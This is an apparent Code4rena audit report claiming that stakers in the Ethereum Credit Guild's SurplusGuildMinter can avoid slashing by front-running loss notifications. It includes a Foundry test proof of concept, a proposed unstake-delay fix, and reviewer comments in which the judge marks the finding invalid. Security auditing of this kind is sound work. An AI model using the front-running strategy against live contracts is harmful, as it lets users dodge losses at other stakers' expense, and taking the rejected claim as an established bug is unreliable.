Any user can avoid slashing losses by frontrunning

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L158-L212

Vulnerability details

Impact

Any user can avoid slashing losses with a frontrun call that will create a loss on the system (eg. invoke notifyPnL with a negative amount). This should not be correct as he can then stake with no risk at all and only get rewards. Users who stake get rewards in exchange for carrying a risk of slashing in case of losses.

Proof of Concept

There is no mechanism to prevent frontrunning the call that creates a loss. An attacker could simply unstake his whole stake before the loss is notified to the system. This way he gets the full benefit of earning rewards with no risk of slashing.

Add this test to SurplusGuildMinter.t.sol file and add import import "@forge-std/console.sol";
Run with forge test --match-path ./test/unit/loan/SurplusGuildMinter.t.sol -vvv

function testAvoidSlashing() public {
    address bob = address(0xB0B);

    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit - remains on profitManager
        0, // creditSplit
        0.5e18, // guildSplit - remains on profitManager
        0, // otherSplit
        address(0) // otherRecipient
    );

    // Bob stakes 100 CREDIT
    credit.mint(address(bob), 100e18);
    vm.startPrank(bob);
    credit.approve(address(sgm), 100e18);
    sgm.stake(term, 100e18);
    vm.stopPrank();

    // This would happen on repaying a loan with interest... just shorthand to notify the profitManager for a profit
    // so we don't complicate the example with opening and closing loans ...
    credit.mint(address(profitManager), 35e18);
    profitManager.notifyPnL(term, int256(35e18));

    // Bob frontruns the notfiyPnl call with an unstake to avoid slashing
    vm.prank(bob);
    sgm.unstake(term, 100e18);

    // This would happen on repaying a loan with interest... just shorthand to notify the profitManager for a loss
    // so we don't to complicate the example with opening and closing loans ...
    credit.mint(address(profitManager), 35e18);
    profitManager.notifyPnL(term, -int256(35e18));

    // He keeps his stake and the profits made from the first notifyPnL call
    uint256 credit_balance_bob = credit.balanceOf(bob);        
    console.log("Bob credit balance:", credit_balance_bob);
}

Logs:
  Bob credit balance: 114000000000000000000

Tools Used

Manual review

Recommended Mitigation Steps

Implement a mechanism where a user has to requestUnstake() and after unstakeDelay they can call unstake(). The unstakeDelay can be really small. Even 1 block would be enough as they cannot frontrun the transaction anymore. Would be a good idea to put more in case of a low gas tx.

Assessed type

Timing

[0xSorryNotSorry]

The issue is well demonstrated, properly formatted, contains a coded POC.
Marking as HQ.

[c4-pre-sort]

0xSorryNotSorry marked the issue as high quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #906

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #877

[c4-judge]

Trumpero marked the issue as unsatisfactory:
Invalid

[c4-judge]

Trumpero marked the issue as unsatisfactory:
Invalid

[c4-judge]

Trumpero marked the issue as unsatisfactory:
Invalid